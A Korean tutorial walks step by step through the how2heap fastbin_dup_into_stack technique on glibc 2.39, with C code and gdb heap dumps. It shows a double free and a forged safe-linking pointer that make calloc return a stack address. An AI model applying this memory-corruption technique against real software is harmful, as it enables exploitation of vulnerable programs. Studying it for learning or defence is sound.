콘텐츠로 건너뛰기

[how2heap/glibc2.39] fastbin_dup_into_stack

환경

Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64

요약

fastbin_dup 기법을 응용하여 힙 할당할때 스택영역의 주소로 받게 만들 수 있음.

  1. fastbin 범위로 할당받기위해 처음에 tcache를 전부 채움.
    7번 malloc하고, 7번 free함. (여기서는 malloc(8) 사용)
  2. 각각 fastbin범위인 malloc(8) 3번 수행하여 a, b, c 청크 차례로 생성.
  3. free(a)
  4. free(b)
  5. free(a)
  6. malloc(8) 2번 추가 수행 → 각각 1st_alloc(d 청크), 2nd_alloc으로 명명하겠음.
  7. stack_var[4]에서 stack_var[1] = 0x20으로 fake free size 지정.
    그러면, calloc시 해당 위치에 free 청크가 있다고 생각하고 그 포인터를 반환하게 됨.
  8. 1st_alloc(d 청크)에 스택주소로 safe-linking이 적용된 fd 값을 임의로 만들어 넣음.
    추후 free list에 스택 주소로 할당받기위함.
  9. 3rd_alloc calloc(1, 8) 호출하면, 이제 스택 주소를 free 리스트에 넣게 됨.
  10. 4th_alloc calloc(1, 8) 호출하면, 이제 스택 주소로 할당받음.

내용

fastbin_dup 기법을 확장한 것으로,
calloc을 속여 제어 가능한 위치(이 경우에는 스택)로 포인터를 반환하도록 만듭니다.

1.

tcache를 채우기 위해 7번 malloc하고, 7번 free를 해준다.
그래야 이후부터 fastbin으로 할당 가능.

코드:

fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
               "returning a pointer to a controlled location (in this case, the stack).\n");


        fprintf(stderr,"Fill up tcache first.\n");

        void *ptrs[7];

        for (int i=0; i<7; i++) {
                ptrs[i] = malloc(8);
        }
        for (int i=0; i<7; i++) {
                free(ptrs[i]);
        }

결과:

This file extends on fastbin_dup.c by tricking calloc into
returning a pointer to a controlled location (in this case, the stack).
Fill up tcache first.
gdb-peda$ parseheap
haddr                prev                size                 status              fd                bk
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559370 (size : 0x20c90)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

2.

8크기만큼 3번 할당함.
각각 a, b, c청크로써 모두 fastbin에 해당됨.

코드:

unsigned long stack_var[4] __attribute__ ((aligned (0x10)));

	fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", a);
	fprintf(stderr, "2nd calloc(1,8): %p\n", b);
	fprintf(stderr, "3rd calloc(1,8): %p\n", c);

결과:

The address we want calloc() to return is 0x7fffffffe140.
Allocating 3 buffers.
1st calloc(1,8): 0x555555559380
2nd calloc(1,8): 0x5555555593a0
3rd calloc(1,8): 0x5555555593c0
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Used                None              None
0x555555559390      0x0                 0x20                 Used                None              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

3.

a 청크 할당을 해제함.

코드:

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
        free(a);

결과:

Freeing the first one...
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Freed        0x555555559              None
0x555555559390      0x0                 0x20                 Used                None              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x555555559370 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

4.

만약 한번더 a 청크 추소인 0x555555559380을 free하게 되면
free list의 top에 해당되기 때문에 충돌 발생함.

따라서 2번째로 할당된 b 청크 주소인 0x5555555593a0을 free함.

코드:

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

        fprintf(stderr, "So, instead, we'll free %p.\n", b);
        free(b);

결과:

If we free 0x555555559380 again, things will crash because 0x555555559380 is at the top of the free list.
So, instead, we'll free 0x5555555593a0.
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x555555559390 --> 0x555555559370 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Freed        0x555555559              None
0x555555559390      0x0                 0x20                 Freed     0x55500000c629              None
0x5555555593b0      0x0                 0x20                 Used                None              None

5.

free list의 head가 아니기 때문에, 이제 a 청크를 한번더 free 할 수 있어 해본다.

코드:

        //Calling free(a) twice renders the program vulnerable to Double Free
        //free(a)를 두 번 호출하면 프로그램은 Double Free 취약점에 노출됩니다.

        fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
        free(a);

결과:

Now, we can free 0x555555559380 again, since it's not the head of the free list.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Freed     0x55500000c6c9              None
0x555555559390      0x0                 0x20                 Freed     0x55500000c629              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x555555559370 --> 0x555555559390 --> 0x555555559370 (overlap chunk with 0x555555559370(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

6.

이제 free 리스트에는 [ 0x555555559380, 0x5555555593a0, 0x555555559380 ]가 있습니다.

우리는 이제 0x555555559380 위치의 데이터를 수정하여 공격을 수행할 것입니다.

첫 번째 calloc(1, 8) 호출: 0x555555559380

두 번째 calloc(1, 8) 호출: 0x5555555593a0

이제 free 리스트에는 [ 0x555555559380 ]만 남아 있습니다.

코드:

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
                "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
        unsigned long *d = calloc(1,8);

        fprintf(stderr, "1st calloc(1,8): %p\n", d);
        fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
        fprintf(stderr, "Now the free list has [ %p ].\n", a);

결과:

Now the free list has [ 0x555555559380, 0x5555555593a0, 0x555555559380 ]. We'll now carry out our attack by modifying data at 0x555555559380.
1st calloc(1,8): 0x555555559380
2nd calloc(1,8): 0x5555555593a0
Now the free list has [ 0x555555559380 ].
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Freed                0x0              None
0x555555559390      0x0                 0x20                 Used                None              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x555555559370 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

7.

이제 우리는 0x555555559380에 접근할 수 있으며, 이 주소는 여전히 free 리스트의 맨 앞에 있습니다.

따라서 우리는 이제 스택에 가짜 free 크기(이 경우 0x20)를 작성하고 있습니다.

이렇게 하면 calloc은 해당 위치에 free 청크가 있다고 생각하고 그 포인터를 반환하는 데 동의하게 됩니다.

이제 우리는 0x555555559380에 있는 데이터의 처음 8바이트를 덮어써서 0x20 바로 앞을 가리키도록 합니다.

코드:

fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
                "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
                "so that calloc will think there is a free chunk there and agree to\n"
                "return a pointer to it.\n", a);
        stack_var[1] = 0x20;

결과:

Now, we have access to 0x555555559380 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that calloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x555555559380 to point right before the 0x20.
gdb-peda$ x/gx $rsp+0x18
0x7fffffffe138: 0x0000000000000020

gdb-peda$ x/4gx $rsp+0x10
0x7fffffffe130: 0x000000000000c000      0x0000000000000020
0x7fffffffe140: 0x0000000001a00000      0x0000000000200000

8.

addr = 0x555555559380 (할당되었던 d 청크)
ptr = 0x7fffffffe130 (0x20 쓰였던 stack_var[1] 주소)

enc_fd = (fd) ^ (heapbase >> 12)
= 0x7fffffffe130 ^ (0x555555559380 >> 12)
= 0x7ffaaaaab469

추후 free list에 스택 주소로 할당받기위해
d 청크에 스택주소로 safe-linking이 적용된 fd 값을 임의로 만들어 넣음.

저장된 값은 포인터가 아니라,
safe linking 메커니즘 때문에 poisoned value라는 점에 주목하세요.

^ 참고:

https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive

코드:

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
        fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
        fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
        unsigned long ptr = (unsigned long)stack_var;
        unsigned long addr = (unsigned long) d;
        /*VULNERABILITY*/
        *d = (addr >> 12) ^ ptr;
        /*VULNERABILITY*/

결과:

Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.
^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Freed     0x7ffaaaaab469              None
0x555555559390      0x0                 0x20                 Used                None              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x555555559370 --> 0x7fffffffe130 --> 0x7fe5ffffe (invaild memory)
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

9.

세 번째 calloc(1, 8) 호출: 0x555555559380,
스택 주소를 free 리스트에 넣음. 이제 4번쨰 호출에선 스택 주소로 할당받을것임.

코드:

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

결과:

3rd calloc(1,8): 0x555555559380, putting the stack address on the free list
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Used                None              None
0x555555559390      0x0                 0x20                 Used                None              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x7fffffffe130 --> 0x7fe5ffffe (invaild memory)
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

10.

4번째로 calloc 할당을 또 하게되면,
이제 스택 주소로 할당받을 수 있게 된다.

코드:

        void *p = calloc(1,8);

        fprintf(stderr, "4th calloc(1,8): %p\n", p);
        assert((unsigned long)p == (unsigned long)stack_var + 0x10);

결과:

4th calloc(1,8): 0x7fffffffe1a0
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x20                 Freed        0x555555559              None
0x5555555592b0      0x0                 0x20                 Freed     0x55500000c7f9              None
0x5555555592d0      0x0                 0x20                 Freed     0x55500000c799              None
0x5555555592f0      0x0                 0x20                 Freed     0x55500000c7b9              None
0x555555559310      0x0                 0x20                 Freed     0x55500000c659              None
0x555555559330      0x0                 0x20                 Freed     0x55500000c679              None
0x555555559350      0x0                 0x20                 Freed     0x55500000c619              None
0x555555559370      0x0                 0x20                 Used                None              None
0x555555559390      0x0                 0x20                 Used                None              None
0x5555555593b0      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x7fe5ffffe (invaild memory)
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593d0 (size : 0x20c30)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0